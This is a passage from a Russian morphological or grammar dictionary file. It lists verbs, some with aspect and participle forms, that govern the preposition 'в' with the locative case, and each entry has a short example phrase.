rus_verbs:проголосовать{}, // проголосовать в передвижном пункте
rus_verbs:странствовать{}, // странствовать в автомобиле
rus_verbs:осматриваться{}, // осматриваться в хоромах
rus_verbs:разворачивать{}, // разворачивать в спортзале
rus_verbs:заскучать{}, // заскучать в самолете
rus_verbs:напутать{}, // напутать в расчете
rus_verbs:перекусить{}, // перекусить в столовой
rus_verbs:спасаться{}, // спасаться в автономной капсуле
rus_verbs:посовещаться{}, // посовещаться в комнате
rus_verbs:доказываться{}, // доказываться в статье
rus_verbs:познаваться{}, // познаваться в беде
rus_verbs:загрустить{}, // загрустить в одиночестве
rus_verbs:оживить{}, // оживить в памяти
rus_verbs:переворачиваться{}, // переворачиваться в гробу
rus_verbs:заприметить{}, // заприметить в лесу
rus_verbs:отравиться{}, // отравиться в забегаловке
rus_verbs:продержать{}, // продержать в клетке
rus_verbs:выявить{}, // выявить в костях
rus_verbs:заседать{}, // заседать в совете
rus_verbs:расплачиваться{}, // расплачиваться в первой кассе
rus_verbs:проломить{}, // проломить в двери
rus_verbs:подражать{}, // подражать в мелочах
rus_verbs:подсчитывать{}, // подсчитывать в уме
rus_verbs:опережать{}, // опережать во всем
rus_verbs:сформироваться{}, // сформироваться в облаке
rus_verbs:укрепиться{}, // укрепиться в мнении
rus_verbs:отстоять{}, // отстоять в очереди
rus_verbs:развертываться{}, // развертываться в месте испытания
rus_verbs:замерзать{}, // замерзать во льду
rus_verbs:утопать{}, // утопать в снегу
rus_verbs:раскаиваться{}, // раскаиваться в содеянном
rus_verbs:организовывать{}, // организовывать в пионерлагере
rus_verbs:перевестись{}, // перевестись в наших краях
rus_verbs:смешивать{}, // смешивать в блендере
rus_verbs:ютиться{}, // ютиться в тесной каморке
rus_verbs:прождать{}, // прождать в аудитории
rus_verbs:подыскивать{}, // подыскивать в женском общежитии
rus_verbs:замочить{}, // замочить в сортире
rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке
rus_verbs:растирать{}, // растирать в ступке
rus_verbs:замедлять{}, // замедлять в парафине
rus_verbs:переспать{}, // переспать в палатке
rus_verbs:рассекать{}, // рассекать в кабриолете
rus_verbs:отыскивать{}, // отыскивать в залежах
rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении
rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке
rus_verbs:укрываться{}, // укрываться в землянке
rus_verbs:запечься{}, // запечься в золе
rus_verbs:догорать{}, // догорать в темноте
rus_verbs:застилать{}, // застилать в коридоре
rus_verbs:сыскаться{}, // сыскаться в деревне
rus_verbs:переделать{}, // переделать в мастерской
rus_verbs:разъяснять{}, // разъяснять в своей лекции
rus_verbs:селиться{}, // селиться в центре
rus_verbs:оплачивать{}, // оплачивать в магазине
rus_verbs:переворачивать{}, // переворачивать в закрытой банке
rus_verbs:упражняться{}, // упражняться в остроумии
rus_verbs:пометить{}, // пометить в списке
rus_verbs:припомниться{}, // припомниться в завещании
rus_verbs:приютить{}, // приютить в амбаре
rus_verbs:натерпеться{}, // натерпеться в темнице
rus_verbs:затеваться{}, // затеваться в клубе
rus_verbs:уплывать{}, // уплывать в лодке
rus_verbs:скиснуть{}, // скиснуть в бидоне
rus_verbs:заколоть{}, // заколоть в боку
rus_verbs:замерцать{}, // замерцать в темноте
rus_verbs:фиксироваться{}, // фиксироваться в протоколе
rus_verbs:запираться{}, // запираться в комнате
rus_verbs:съезжаться{}, // съезжаться в каретах
rus_verbs:толочься{}, // толочься в ступе
rus_verbs:потанцевать{}, // потанцевать в клубе
rus_verbs:побродить{}, // побродить в парке
rus_verbs:назревать{}, // назревать в коллективе
rus_verbs:дохнуть{}, // дохнуть в питомнике
rus_verbs:крестить{}, // крестить в деревенской церквушке
rus_verbs:рассчитаться{}, // рассчитаться в банке
rus_verbs:припарковаться{}, // припарковаться во дворе
rus_verbs:отхватить{}, // отхватить в магазинчике
rus_verbs:остывать{}, // остывать в холодильнике
rus_verbs:составляться{}, // составляться в атмосфере тайны
rus_verbs:переваривать{}, // переваривать в тишине
rus_verbs:хвастать{}, // хвастать в казино
rus_verbs:отрабатывать{}, // отрабатывать в теплице
rus_verbs:разлечься{}, // разлечься в кровати
rus_verbs:прокручивать{}, // прокручивать в голове
rus_verbs:очертить{}, // очертить в воздухе
rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей
rus_verbs:выявлять{}, // выявлять в боевых условиях
rus_verbs:караулить{}, // караулить в лифте
rus_verbs:расставлять{}, // расставлять в бойницах
rus_verbs:прокрутить{}, // прокрутить в голове
rus_verbs:пересказывать{}, // пересказывать в первой главе
rus_verbs:задавить{}, // задавить в зародыше
rus_verbs:хозяйничать{}, // хозяйничать в холодильнике
rus_verbs:хвалиться{}, // хвалиться в детском садике
rus_verbs:оперировать{}, // оперировать в полевом госпитале
rus_verbs:формулировать{}, // формулировать в следующей главе
rus_verbs:застигнуть{}, // застигнуть в неприглядном виде
rus_verbs:замурлыкать{}, // замурлыкать в тепле
rus_verbs:поддакивать{}, // поддакивать в споре
rus_verbs:прочертить{}, // прочертить в воздухе
rus_verbs:отменять{}, // отменять в городе коменданский час
rus_verbs:колдовать{}, // колдовать в лаборатории
rus_verbs:отвозить{}, // отвозить в машине
rus_verbs:трахать{}, // трахать в гамаке
rus_verbs:повозиться{}, // повозиться в мешке
rus_verbs:ремонтировать{}, // ремонтировать в центре
rus_verbs:робеть{}, // робеть в гостях
rus_verbs:перепробовать{}, // перепробовать в деле
инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии
глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш },
rus_verbs:покаяться{}, // покаяться в церкви
rus_verbs:попрыгать{}, // попрыгать в бассейне
rus_verbs:умалчивать{}, // умалчивать в своем докладе
rus_verbs:ковыряться{}, // ковыряться в старой технике
rus_verbs:расписывать{}, // расписывать в деталях
rus_verbs:вязнуть{}, // вязнуть в песке
rus_verbs:погрязнуть{}, // погрязнуть в скандалах
rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу
rus_verbs:зажимать{}, // зажимать в углу
rus_verbs:стискивать{}, // стискивать в ладонях
rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса
rus_verbs:израсходовать{}, // израсходовать в полете
rus_verbs:клокотать{}, // клокотать в жерле
rus_verbs:обвиняться{}, // обвиняться в растрате
rus_verbs:уединиться{}, // уединиться в кладовке
rus_verbs:подохнуть{}, // подохнуть в болоте
rus_verbs:кипятиться{}, // кипятиться в чайнике
rus_verbs:уродиться{}, // уродиться в лесу
rus_verbs:продолжиться{}, // продолжиться в баре
rus_verbs:расшифровать{}, // расшифровать в специальном устройстве
rus_verbs:посапывать{}, // посапывать в кровати
rus_verbs:скрючиться{}, // скрючиться в мешке
rus_verbs:лютовать{}, // лютовать в отдаленных селах
rus_verbs:расписать{}, // расписать в статье
rus_verbs:публиковаться{}, // публиковаться в научном журнале
rus_verbs:зарегистрировать{}, // зарегистрировать в комитете
rus_verbs:прожечь{}, // прожечь в листе
rus_verbs:переждать{}, // переждать в окопе
rus_verbs:публиковать{}, // публиковать в журнале
rus_verbs:морщить{}, // морщить в уголках глаз
rus_verbs:спиться{}, // спиться в одиночестве
rus_verbs:изведать{}, // изведать в гареме
rus_verbs:обмануться{}, // обмануться в ожиданиях
rus_verbs:сочетать{}, // сочетать в себе
rus_verbs:подрабатывать{}, // подрабатывать в магазине
rus_verbs:репетировать{}, // репетировать в студии
rus_verbs:рябить{}, // рябить в глазах
rus_verbs:намочить{}, // намочить в луже
rus_verbs:скатать{}, // скатать в руке
rus_verbs:одевать{}, // одевать в магазине
rus_verbs:испечь{}, // испечь в духовке
rus_verbs:сбрить{}, // сбрить в подмышках
rus_verbs:зажужжать{}, // зажужжать в ухе
rus_verbs:сберечь{}, // сберечь в тайном месте
rus_verbs:согреться{}, // согреться в хижине
инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле
глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш },
rus_verbs:переплыть{}, // переплыть в лодочке
rus_verbs:передохнуть{}, // передохнуть в тени
rus_verbs:отсвечивать{}, // отсвечивать в зеркалах
rus_verbs:переправляться{}, // переправляться в лодках
rus_verbs:накупить{}, // накупить в магазине
rus_verbs:проторчать{}, // проторчать в очереди
rus_verbs:проскальзывать{}, // проскальзывать в сообщениях
rus_verbs:застукать{}, // застукать в солярии
rus_verbs:наесть{}, // наесть в отпуске
rus_verbs:подвизаться{}, // подвизаться в новом деле
rus_verbs:вычистить{}, // вычистить в саду
rus_verbs:кормиться{}, // кормиться в лесу
rus_verbs:покурить{}, // покурить в саду
rus_verbs:понизиться{}, // понизиться в ранге
rus_verbs:зимовать{}, // зимовать в избушке
rus_verbs:проверяться{}, // проверяться в службе безопасности
rus_verbs:подпирать{}, // подпирать в первом забое
rus_verbs:кувыркаться{}, // кувыркаться в постели
rus_verbs:похрапывать{}, // похрапывать в постели
rus_verbs:завязнуть{}, // завязнуть в песке
rus_verbs:трактовать{}, // трактовать в исследовательской статье
rus_verbs:замедляться{}, // замедляться в тяжелой воде
rus_verbs:шастать{}, // шастать в здании
rus_verbs:заночевать{}, // заночевать в пути
rus_verbs:наметиться{}, // наметиться в исследованиях рака
rus_verbs:освежить{}, // освежить в памяти
rus_verbs:оспаривать{}, // оспаривать в суде
rus_verbs:умещаться{}, // умещаться в ячейке
rus_verbs:искупить{}, // искупить в бою
rus_verbs:отсиживаться{}, // отсиживаться в тылу
rus_verbs:мчать{}, // мчать в кабриолете
rus_verbs:обличать{}, // обличать в своем выступлении
rus_verbs:сгнить{}, // сгнить в тюряге
rus_verbs:опробовать{}, // опробовать в деле
rus_verbs:тренировать{}, // тренировать в зале
rus_verbs:прославить{}, // прославить в академии
rus_verbs:учитываться{}, // учитываться в дипломной работе
rus_verbs:повеселиться{}, // повеселиться в лагере
rus_verbs:поумнеть{}, // поумнеть в карцере
rus_verbs:перестрелять{}, // перестрелять в воздухе
rus_verbs:проведать{}, // проведать в больнице
rus_verbs:измучиться{}, // измучиться в деревне
rus_verbs:прощупать{}, // прощупать в глубине
rus_verbs:изготовлять{}, // изготовлять в сарае
rus_verbs:свирепствовать{}, // свирепствовать в популяции
rus_verbs:иссякать{}, // иссякать в источнике
rus_verbs:гнездиться{}, // гнездиться в дупле
rus_verbs:разогнаться{}, // разогнаться в спортивной машине
rus_verbs:опознавать{}, // опознавать в неизвестном
rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде
rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках
rus_verbs:редактировать{}, // редактировать в редакторе
rus_verbs:покупаться{}, // покупаться в магазине
rus_verbs:промышлять{}, // промышлять в роще
rus_verbs:растягиваться{}, // растягиваться в коридоре
rus_verbs:приобретаться{}, // приобретаться в антикварных лавках
инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде
глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш },
rus_verbs:запечатлеться{}, // запечатлеться в мозгу
rus_verbs:укрывать{}, // укрывать в подвале
rus_verbs:закрепиться{}, // закрепиться в первой башне
rus_verbs:освежать{}, // освежать в памяти
rus_verbs:громыхать{}, // громыхать в ванной
инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати
глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш },
rus_verbs:добываться{}, // добываться в шахтах
rus_verbs:растворить{}, // растворить в кислоте
rus_verbs:приплясывать{}, // приплясывать в гримерке
rus_verbs:доживать{}, // доживать в доме престарелых
rus_verbs:отпраздновать{}, // отпраздновать в ресторане
rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях
rus_verbs:помыть{}, // помыть в проточной воде
инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке
глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш },
прилагательное:увязавший{ вид:несоверш },
rus_verbs:наличествовать{}, // наличествовать в запаснике
rus_verbs:нащупывать{}, // нащупывать в кармане
rus_verbs:повествоваться{}, // повествоваться в рассказе
rus_verbs:отремонтировать{}, // отремонтировать в техцентре
rus_verbs:покалывать{}, // покалывать в правом боку
rus_verbs:сиживать{}, // сиживать в саду
rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях
rus_verbs:укрепляться{}, // укрепляться в мнении
rus_verbs:разниться{}, // разниться во взглядах
rus_verbs:сполоснуть{}, // сполоснуть в водичке
rus_verbs:скупать{}, // скупать в магазине
rus_verbs:почесывать{}, // почесывать в паху
rus_verbs:оформлять{}, // оформлять в конторе
rus_verbs:распускаться{}, // распускаться в садах
rus_verbs:зарябить{}, // зарябить в глазах
rus_verbs:загореть{}, // загореть в Испании
rus_verbs:очищаться{}, // очищаться в баке
rus_verbs:остудить{}, // остудить в холодной воде
rus_verbs:разбомбить{}, // разбомбить в горах
rus_verbs:издохнуть{}, // издохнуть в бедности
rus_verbs:проехаться{}, // проехаться в новой машине
rus_verbs:задействовать{}, // задействовать в анализе
rus_verbs:произрастать{}, // произрастать в степи
rus_verbs:разуться{}, // разуться в прихожей
rus_verbs:сооружать{}, // сооружать в огороде
rus_verbs:зачитывать{}, // зачитывать в суде
rus_verbs:состязаться{}, // состязаться в остроумии
rus_verbs:ополоснуть{}, // ополоснуть в молоке
rus_verbs:уместиться{}, // уместиться в кармане
rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом
rus_verbs:стираться{}, // стираться в стиральной машине
rus_verbs:искупаться{}, // искупаться в прохладной реке
rus_verbs:курировать{}, // курировать в правительстве
rus_verbs:закупить{}, // закупить в магазине
rus_verbs:плодиться{}, // плодиться в подходящих условиях
rus_verbs:горланить{}, // горланить в парке
rus_verbs:першить{}, // першить в горле
rus_verbs:пригрезиться{}, // пригрезиться во сне
rus_verbs:исправлять{}, // исправлять в тетрадке
rus_verbs:расслабляться{}, // расслабляться в гамаке
rus_verbs:скапливаться{}, // скапливаться в нижней части
rus_verbs:сплетничать{}, // сплетничают в комнате
rus_verbs:раздевать{}, // раздевать в кабинке
rus_verbs:окопаться{}, // окопаться в лесу
rus_verbs:загорать{}, // загорать в Испании
rus_verbs:подпевать{}, // подпевать в церковном хоре
rus_verbs:прожужжать{}, // прожужжать в динамике
rus_verbs:изучаться{}, // изучаться в дикой природе
rus_verbs:заклубиться{}, // заклубиться в воздухе
rus_verbs:подметать{}, // подметать в зале
rus_verbs:подозреваться{}, // подозреваться в совершении кражи
rus_verbs:обогащать{}, // обогащать в специальном аппарате
rus_verbs:издаться{}, // издаться в другом издательстве
rus_verbs:справить{}, // справить в кустах нужду
rus_verbs:помыться{}, // помыться в бане
rus_verbs:проскакивать{}, // проскакивать в словах
rus_verbs:попивать{}, // попивать в кафе чай
rus_verbs:оформляться{}, // оформляться в регистратуре
rus_verbs:чирикать{}, // чирикать в кустах
rus_verbs:скупить{}, // скупить в магазинах
rus_verbs:переночевать{}, // переночевать в гостинице
rus_verbs:концентрироваться{}, // концентрироваться в пробирке
rus_verbs:одичать{}, // одичать в лесу
rus_verbs:ковырнуть{}, // ковырнуть в ухе
rus_verbs:затеплиться{}, // затеплиться в глубине души
rus_verbs:разгрести{}, // разгрести в задачах залежи
rus_verbs:застопориться{}, // застопориться в начале списка
rus_verbs:перечисляться{}, // перечисляться во введении
rus_verbs:покататься{}, // покататься в парке аттракционов
rus_verbs:изловить{}, // изловить в поле
rus_verbs:прославлять{}, // прославлять в стихах
rus_verbs:промочить{}, // промочить в луже
rus_verbs:поделывать{}, // поделывать в отпуске
rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии
rus_verbs:подстеречь{}, // подстеречь в подъезде
rus_verbs:прикупить{}, // прикупить в магазине
rus_verbs:перемешивать{}, // перемешивать в кастрюле
rus_verbs:тискать{}, // тискать в углу
rus_verbs:купать{}, // купать в теплой водичке
rus_verbs:завариться{}, // завариться в стакане
rus_verbs:притулиться{}, // притулиться в углу
rus_verbs:пострелять{}, // пострелять в тире
rus_verbs:навесить{}, // навесить в больнице
инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере
глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш },
rus_verbs:нежиться{}, // нежится в постельке
rus_verbs:притомиться{}, // притомиться в школе
rus_verbs:раздвоиться{}, // раздвоиться в глазах
rus_verbs:навалить{}, // навалить в углу
rus_verbs:замуровать{}, // замуровать в склепе
rus_verbs:поселяться{}, // поселяться в кроне дуба
rus_verbs:потягиваться{}, // потягиваться в кровати
rus_verbs:укачать{}, // укачать в поезде
rus_verbs:отлеживаться{}, // отлеживаться в гамаке
rus_verbs:разменять{}, // разменять в кассе
rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде
rus_verbs:ржаветь{}, // ржаветь в воде
rus_verbs:уличить{}, // уличить в плагиате
rus_verbs:мутиться{}, // мутиться в голове
rus_verbs:растворять{}, // растворять в бензоле
rus_verbs:двоиться{}, // двоиться в глазах
rus_verbs:оговорить{}, // оговорить в договоре
rus_verbs:подделать{}, // подделать в документе
rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети
rus_verbs:растолстеть{}, // растолстеть в талии
rus_verbs:повоевать{}, // повоевать в городских условиях
rus_verbs:прибраться{}, // гнушаться прибраться в хлеву
rus_verbs:поглощаться{}, // поглощаться в металлической фольге
rus_verbs:ухать{}, // ухать в лесу
rus_verbs:подписываться{}, // подписываться в петиции
rus_verbs:покатать{}, // покатать в машинке
rus_verbs:излечиться{}, // излечиться в клинике
rus_verbs:трепыхаться{}, // трепыхаться в мешке
rus_verbs:кипятить{}, // кипятить в кастрюле
rus_verbs:понастроить{}, // понастроить в прибрежной зоне
rus_verbs:перебывать{}, // перебывать во всех европейских столицах
rus_verbs:оглашать{}, // оглашать в итоговой части
rus_verbs:преуспевать{}, // преуспевать в новом бизнесе
rus_verbs:консультироваться{}, // консультироваться в техподдержке
rus_verbs:накапливать{}, // накапливать в печени
rus_verbs:перемешать{}, // перемешать в контейнере
rus_verbs:наследить{}, // наследить в коридоре
rus_verbs:выявиться{}, // выявиться в результе
rus_verbs:забулькать{}, // забулькать в болоте
rus_verbs:отваривать{}, // отваривать в молоке
rus_verbs:запутываться{}, // запутываться в веревках
rus_verbs:нагреться{}, // нагреться в микроволновой печке
rus_verbs:рыбачить{}, // рыбачить в открытом море
rus_verbs:укорениться{}, // укорениться в сознании широких народных масс
rus_verbs:умывать{}, // умывать в тазике
rus_verbs:защекотать{}, // защекотать в носу
rus_verbs:заходиться{}, // заходиться в плаче
инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке
глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш },
деепричастие:искупав{}, деепричастие:искупая{},
rus_verbs:заморозить{}, // заморозить в холодильнике
rus_verbs:закреплять{}, // закреплять в металлическом держателе
rus_verbs:расхватать{}, // расхватать в магазине
rus_verbs:истязать{}, // истязать в тюремном подвале
rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере
rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле
rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете
rus_verbs:подогреть{}, // подогрей в микроволновке
rus_verbs:подогревать{},
rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку
rus_verbs:проделать{}, // проделать в стене дыру
инфинитив:жениться{ вид:соверш }, // жениться в Техасе
инфинитив:жениться{ вид:несоверш },
глагол:жениться{ вид:соверш },
глагол:жениться{ вид:несоверш },
деепричастие:женившись{},
деепричастие:женясь{},
прилагательное:женатый{},
прилагательное:женившийся{вид:соверш},
прилагательное:женящийся{},
rus_verbs:всхрапнуть{}, // всхрапнуть во сне
rus_verbs:всхрапывать{}, // всхрапывать во сне
rus_verbs:ворочаться{}, // Собака ворочается во сне
rus_verbs:воссоздаваться{}, // воссоздаваться в памяти
rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах
инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу
инфинитив:атаковать{ вид:соверш },
глагол:атаковать{ вид:несоверш },
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{},
прилагательное:атаковавший{},
прилагательное:атакующий{},
инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени
инфинитив:аккумулировать{вид:соверш},
глагол:аккумулировать{вид:несоверш},
глагол:аккумулировать{вид:соверш},
прилагательное:аккумулированный{},
прилагательное:аккумулирующий{},
//прилагательное:аккумулировавший{ вид:несоверш },
прилагательное:аккумулировавший{ вид:соверш },
rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию
rus_verbs:вырасти{}, // Он вырос в глазах коллег.
rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо.
rus_verbs:убить{}, // убить в себе зверя
инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани
инфинитив:абсорбироваться{ вид:несоверш },
глагол:абсорбироваться{ вид:соверш },
глагол:абсорбироваться{ вид:несоверш },
rus_verbs:поставить{}, // поставить в углу
rus_verbs:сжимать{}, // сжимать в кулаке
rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах
rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях
инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы
инфинитив:активизироваться{ вид:соверш },
глагол:активизироваться{ вид:несоверш },
глагол:активизироваться{ вид:соверш },
rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера
rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе
rus_verbs:базировать{}, // установка будет базирована в лесу
rus_verbs:барахтаться{}, // дети барахтались в воде
rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка
rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне
rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе
rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины
rus_verbs:блуждать{}, // Туристы блуждали в лесу
rus_verbs:брать{}, // Жена берет деньги в тумбочке
rus_verbs:бродить{}, // парочки бродили в парке
rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге
rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США
rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде
rus_verbs:вариться{}, // Курица варится в кастрюле
rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году
rus_verbs:прокручиваться{}, // Ключ прокручивается в замке
rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке
rus_verbs:храниться{}, // Настройки хранятся в текстовом файле
rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле
rus_verbs:витать{}, // Мальчик витает в облаках
rus_verbs:владычествовать{}, // Король владычествует в стране
rus_verbs:властвовать{}, // Олигархи властвовали в стране
rus_verbs:возбудить{}, // возбудить в сердце тоску
rus_verbs:возбуждать{}, // возбуждать в сердце тоску
rus_verbs:возвыситься{}, // возвыситься в глазах современников
rus_verbs:возжечь{}, // возжечь в храме огонь
rus_verbs:возжечься{}, // Огонь возжёгся в храме
rus_verbs:возжигать{}, // возжигать в храме огонь
rus_verbs:возжигаться{}, // Огонь возжигается в храме
rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь
rus_verbs:вознамериться{}, // вознамериться уйти в монастырь
rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове
rus_verbs:возникнуть{}, // Новые идейки возникли в голове
rus_verbs:возродиться{}, // возродиться в новом качестве
rus_verbs:возрождать{}, // возрождать в новом качестве
rus_verbs:возрождаться{}, // возрождаться в новом амплуа
rus_verbs:ворошить{}, // ворошить в камине кочергой золу
rus_verbs:воспевать{}, // Поэты воспевают героев в одах
rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами
rus_verbs:воспеть{}, // Поэты воспели в этой оде героев
rus_verbs:воспретить{}, // воспретить в помещении азартные игры
rus_verbs:восславить{}, // Поэты восславили в одах
rus_verbs:восславлять{}, // Поэты восславляют в одах
rus_verbs:восславляться{}, // Героя восславляются в одах
rus_verbs:воссоздать{}, // воссоздает в памяти образ человека
rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека
rus_verbs:воссоздаться{}, // воссоздаться в памяти
rus_verbs:вскипятить{}, // вскипятить в чайнике воду
rus_verbs:вскипятиться{}, // вскипятиться в чайнике
rus_verbs:встретить{}, // встретить в классе старого приятеля
rus_verbs:встретиться{}, // встретиться в классе
rus_verbs:встречать{}, // встречать в лесу голодного медведя
rus_verbs:встречаться{}, // встречаться в кафе
rus_verbs:выбривать{}, // выбривать что-то в подмышках
rus_verbs:выбрить{}, // выбрить что-то в паху
rus_verbs:вывалять{}, // вывалять кого-то в грязи
rus_verbs:вываляться{}, // вываляться в грязи
rus_verbs:вываривать{}, // вываривать в молоке
rus_verbs:вывариваться{}, // вывариваться в молоке
rus_verbs:выварить{}, // выварить в молоке
rus_verbs:вывариться{}, // вывариться в молоке
rus_verbs:выгрызать{}, // выгрызать в сыре отверствие
rus_verbs:выгрызть{}, // выгрызть в сыре отверстие
rus_verbs:выгуливать{}, // выгуливать в парке собаку
rus_verbs:выгулять{}, // выгулять в парке собаку
rus_verbs:выдолбить{}, // выдолбить в стволе углубление
rus_verbs:выжить{}, // выжить в пустыне
rus_verbs:Выискать{}, // Выискать в программе ошибку
rus_verbs:выискаться{}, // Ошибка выискалась в программе
rus_verbs:выискивать{}, // выискивать в программе ошибку
rus_verbs:выискиваться{}, // выискиваться в программе
rus_verbs:выкраивать{}, // выкраивать в расписании время
rus_verbs:выкраиваться{}, // выкраиваться в расписании
инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере
глагол:выкупаться{вид:соверш},
rus_verbs:выловить{}, // выловить в пруду
rus_verbs:вымачивать{}, // вымачивать в молоке
rus_verbs:вымачиваться{}, // вымачиваться в молоке
rus_verbs:вынюхивать{}, // вынюхивать в траве следы
rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду
rus_verbs:выпачкаться{}, // выпачкаться в грязи
rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков
rus_verbs:выращивать{}, // выращивать в теплице помидоры
rus_verbs:выращиваться{}, // выращиваться в теплице
rus_verbs:вырыть{}, // вырыть в земле глубокую яму
rus_verbs:высадить{}, // высадить в пустынной местности
rus_verbs:высадиться{}, // высадиться в пустынной местности
rus_verbs:высаживать{}, // высаживать в пустыне
rus_verbs:высверливать{}, // высверливать в доске отверствие
rus_verbs:высверливаться{}, // высверливаться в стене
rus_verbs:высверлить{}, // высверлить в стене отверствие
rus_verbs:высверлиться{}, // высверлиться в стене
rus_verbs:выскоблить{}, // выскоблить в столешнице канавку
rus_verbs:высматривать{}, // высматривать в темноте
rus_verbs:заметить{}, // заметить в помещении
rus_verbs:оказаться{}, // оказаться в первых рядах
rus_verbs:душить{}, // душить в объятиях
rus_verbs:оставаться{}, // оставаться в классе
rus_verbs:появиться{}, // впервые появиться в фильме
rus_verbs:лежать{}, // лежать в футляре
rus_verbs:раздаться{}, // раздаться в плечах
rus_verbs:ждать{}, // ждать в здании вокзала
rus_verbs:жить{}, // жить в трущобах
rus_verbs:постелить{}, // постелить в прихожей
rus_verbs:оказываться{}, // оказываться в неприятной ситуации
rus_verbs:держать{}, // держать в голове
rus_verbs:обнаружить{}, // обнаружить в себе способность
rus_verbs:начинать{}, // начинать в лаборатории
rus_verbs:рассказывать{}, // рассказывать в лицах
rus_verbs:ожидать{}, // ожидать в помещении
rus_verbs:продолжить{}, // продолжить в помещении
rus_verbs:состоять{}, // состоять в группе
rus_verbs:родиться{}, // родиться в рубашке
rus_verbs:искать{}, // искать в кармане
rus_verbs:иметься{}, // иметься в наличии
rus_verbs:говориться{}, // говориться в среде панков
rus_verbs:клясться{}, // клясться в верности
rus_verbs:узнавать{}, // узнавать в нем своего сына
rus_verbs:признаться{}, // признаться в ошибке
rus_verbs:сомневаться{}, // сомневаться в искренности
rus_verbs:толочь{}, // толочь в ступе
rus_verbs:понадобиться{}, // понадобиться в суде
rus_verbs:служить{}, // служить в пехоте
rus_verbs:потолочь{}, // потолочь в ступе
rus_verbs:появляться{}, // появляться в театре
rus_verbs:сжать{}, // сжать в объятиях
rus_verbs:действовать{}, // действовать в постановке
rus_verbs:селить{}, // селить в гостинице
rus_verbs:поймать{}, // поймать в лесу
rus_verbs:увидать{}, // увидать в толпе
rus_verbs:подождать{}, // подождать в кабинете
rus_verbs:прочесть{}, // прочесть в глазах
rus_verbs:тонуть{}, // тонуть в реке
rus_verbs:ощущать{}, // ощущать в животе
rus_verbs:ошибиться{}, // ошибиться в расчетах
rus_verbs:отметить{}, // отметить в списке
rus_verbs:показывать{}, // показывать в динамике
rus_verbs:скрыться{}, // скрыться в траве
rus_verbs:убедиться{}, // убедиться в корректности
rus_verbs:прозвучать{}, // прозвучать в наушниках
rus_verbs:разговаривать{}, // разговаривать в фойе
rus_verbs:издать{}, // издать в России
rus_verbs:прочитать{}, // прочитать в газете
rus_verbs:попробовать{}, // попробовать в деле
rus_verbs:замечать{}, // замечать в программе ошибку
rus_verbs:нести{}, // нести в руках
rus_verbs:пропасть{}, // пропасть в плену
rus_verbs:носить{}, // носить в кармане
rus_verbs:гореть{}, // гореть в аду
rus_verbs:поправить{}, // поправить в программе
rus_verbs:застыть{}, // застыть в неудобной позе
rus_verbs:получать{}, // получать в кассе
rus_verbs:потребоваться{}, // потребоваться в работе
rus_verbs:спрятать{}, // спрятать в шкафу
rus_verbs:учиться{}, // учиться в институте
rus_verbs:развернуться{}, // развернуться в коридоре
